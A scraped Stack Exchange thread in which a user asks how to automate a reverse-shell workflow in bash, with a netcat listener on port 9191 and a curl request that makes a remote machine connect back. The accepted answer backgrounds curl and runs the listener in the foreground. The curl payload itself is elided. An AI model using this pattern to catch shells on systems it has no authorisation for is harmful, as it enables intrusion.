Using netcat and curl together in a bash script

The name of the pictureThe name of the pictureThe name of the pictureClash Royale CLAN TAG#URR8PPP











up vote
0
down vote

favorite












This question is more related to infosec, but I can't seem to find a workaround in automating the following process:



There is a cURL command which triggers a connection to the netcat. Without automatization, I type in nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine at port 9191 which I can then execute some commands in a remote machine.



I am trying something like this in my bash script:



nc -lvnp 9191& 
curl ......


The netcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes.



$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
$


If I remove the nc -lvnp 9191& from the bash script and leave just the cURL command in the bash script, the following happens:



$ nc -lvnp 9191& 
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>


However, once I click 'enter', the netcat job gets suspended immediately:



[1] + 22609 suspended (tty input) nc -lvnp 9191


I have to fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this trouble within the bash script itself.










share|improve this question

























    up vote
    0
    down vote

    favorite












    This question is more related to infosec, but I can't seem to find a workaround in automating the following process:



    There is a cURL command which triggers a connection to the netcat. Without automatization, I type in nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine at port 9191 which I can then execute some commands in a remote machine.



    I am trying something like this in my bash script:



    nc -lvnp 9191& 
    curl ......


    The netcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes.



    $ ./shell.sh 
    Ncat: Version 7.70 ( https://nmap.org/ncat )
    Ncat: Listening on :::9191
    Ncat: Listening on 0.0.0.0:9191
    Ncat: Connection from xxx.xxx.xxx.xxx.
    Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
    $


    If I remove the nc -lvnp 9191& from the bash script and leave just the cURL command in the bash script, the following happens:



    $ nc -lvnp 9191& 
    [1] 22609
    Ncat: Version 7.70 ( https://nmap.org/ncat )
    Ncat: Listening on :::9191
    Ncat: Listening on 0.0.0.0:9191
    $ ./shell.sh
    Ncat: Connection from xxx.xxx.xxx.xxx.
    Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
    cmd>


    However, once I click 'enter', the netcat job gets suspended immediately:



    [1] + 22609 suspended (tty input) nc -lvnp 9191


    I have to fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this trouble within the bash script itself.










    share|improve this question























      up vote
      0
      down vote

      favorite









      up vote
      0
      down vote

      favorite











      This question is more related to infosec, but I can't seem to find a workaround in automating the following process:



      There is a cURL command which triggers a connection to the netcat. Without automatization, I type in nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine at port 9191 which I can then execute some commands in a remote machine.



      I am trying something like this in my bash script:



      nc -lvnp 9191& 
      curl ......


      The netcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes.



      $ ./shell.sh 
      Ncat: Version 7.70 ( https://nmap.org/ncat )
      Ncat: Listening on :::9191
      Ncat: Listening on 0.0.0.0:9191
      Ncat: Connection from xxx.xxx.xxx.xxx.
      Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
      $


      If I remove the nc -lvnp 9191& from the bash script and leave just the cURL command in the bash script, the following happens:



      $ nc -lvnp 9191& 
      [1] 22609
      Ncat: Version 7.70 ( https://nmap.org/ncat )
      Ncat: Listening on :::9191
      Ncat: Listening on 0.0.0.0:9191
      $ ./shell.sh
      Ncat: Connection from xxx.xxx.xxx.xxx.
      Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
      cmd>


      However, once I click 'enter', the netcat job gets suspended immediately:



      [1] + 22609 suspended (tty input) nc -lvnp 9191


      I have to fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this trouble within the bash script itself.










      share|improve this question













      This question is more related to infosec, but I can't seem to find a workaround in automating the following process:



      There is a cURL command which triggers a connection to the netcat. Without automatization, I type in nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine at port 9191 which I can then execute some commands in a remote machine.



      I am trying something like this in my bash script:



      nc -lvnp 9191& 
      curl ......


      The netcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes.



      $ ./shell.sh 
      Ncat: Version 7.70 ( https://nmap.org/ncat )
      Ncat: Listening on :::9191
      Ncat: Listening on 0.0.0.0:9191
      Ncat: Connection from xxx.xxx.xxx.xxx.
      Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
      $


      If I remove the nc -lvnp 9191& from the bash script and leave just the cURL command in the bash script, the following happens:



      $ nc -lvnp 9191& 
      [1] 22609
      Ncat: Version 7.70 ( https://nmap.org/ncat )
      Ncat: Listening on :::9191
      Ncat: Listening on 0.0.0.0:9191
      $ ./shell.sh
      Ncat: Connection from xxx.xxx.xxx.xxx.
      Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
      cmd>


      However, once I click 'enter', the netcat job gets suspended immediately:



      [1] + 22609 suspended (tty input) nc -lvnp 9191


      I have to fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this trouble within the bash script itself.







      linux shell-script curl netcat






      share|improve this question













      share|improve this question











      share|improve this question




      share|improve this question










      asked Aug 27 at 0:23









      bashbin

      364




      364




















          1 Answer
          1






          active

          oldest

          votes

















          up vote
          0
          down vote













          So after discussing it with someone, we finally managed to get it to work. We changed the line places so curl comes first (but as a background job), then the netcat (no background). The approach looks like the following:



          (sleep 2; curl .... &>/dev/null) &
          nc -lvnp 9191





          share|improve this answer




















            Your Answer







            StackExchange.ready(function()
            var channelOptions =
            tags: "".split(" "),
            id: "106"
            ;
            initTagRenderer("".split(" "), "".split(" "), channelOptions);

            StackExchange.using("externalEditor", function()
            // Have to fire editor after snippets, if snippets enabled
            if (StackExchange.settings.snippets.snippetsEnabled)
            StackExchange.using("snippets", function()
            createEditor();
            );

            else
            createEditor();

            );

            function createEditor()
            StackExchange.prepareEditor(
            heartbeatType: 'answer',
            convertImagesToLinks: false,
            noModals: false,
            showLowRepImageUploadWarning: true,
            reputationToPostImages: null,
            bindNavPrevention: true,
            postfix: "",
            onDemand: true,
            discardSelector: ".discard-answer"
            ,immediatelyShowMarkdownHelp:true
            );



            );













             

            draft saved


            draft discarded


















            StackExchange.ready(
            function ()
            StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f464984%2fusing-netcat-and-curl-together-in-a-bash-script%23new-answer', 'question_page');

            );

            Post as a guest






























            1 Answer
            1






            active

            oldest

            votes








            1 Answer
            1






            active

            oldest

            votes









            active

            oldest

            votes






            active

            oldest

            votes








            up vote
            0
            down vote













            So after discussing it with someone, we finally managed to get it to work. We changed the line places so curl comes first (but as a background job), then the netcat (no background). The approach looks like the following:



            (sleep 2; curl .... &>/dev/null) &
            nc -lvnp 9191





            share|improve this answer
























              up vote
              0
              down vote













              So after discussing it with someone, we finally managed to get it to work. We changed the line places so curl comes first (but as a background job), then the netcat (no background). The approach looks like the following:



              (sleep 2; curl .... &>/dev/null) &
              nc -lvnp 9191





              share|improve this answer






















                up vote
                0
                down vote










                up vote
                0
                down vote









                So after discussing it with someone, we finally managed to get it to work. We changed the line places so curl comes first (but as a background job), then the netcat (no background). The approach looks like the following:



                (sleep 2; curl .... &>/dev/null) &
                nc -lvnp 9191





                share|improve this answer












                So after discussing it with someone, we finally managed to get it to work. We changed the line places so curl comes first (but as a background job), then the netcat (no background). The approach looks like the following:



                (sleep 2; curl .... &>/dev/null) &
                nc -lvnp 9191






                share|improve this answer












                share|improve this answer



                share|improve this answer










                answered Aug 27 at 16:30









                bashbin

                364




                364



























                     

                    draft saved


                    draft discarded















































                     


                    draft saved


                    draft discarded














                    StackExchange.ready(
                    function ()
                    StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f464984%2fusing-netcat-and-curl-together-in-a-bash-script%23new-answer', 'question_page');

                    );

                    Post as a guest













































































                    Popular posts from this blog

                    How to check contact read email or not when send email to Individual?

                    Bahrain

                    Postfix configuration issue with fips on centos 7; mailgun relay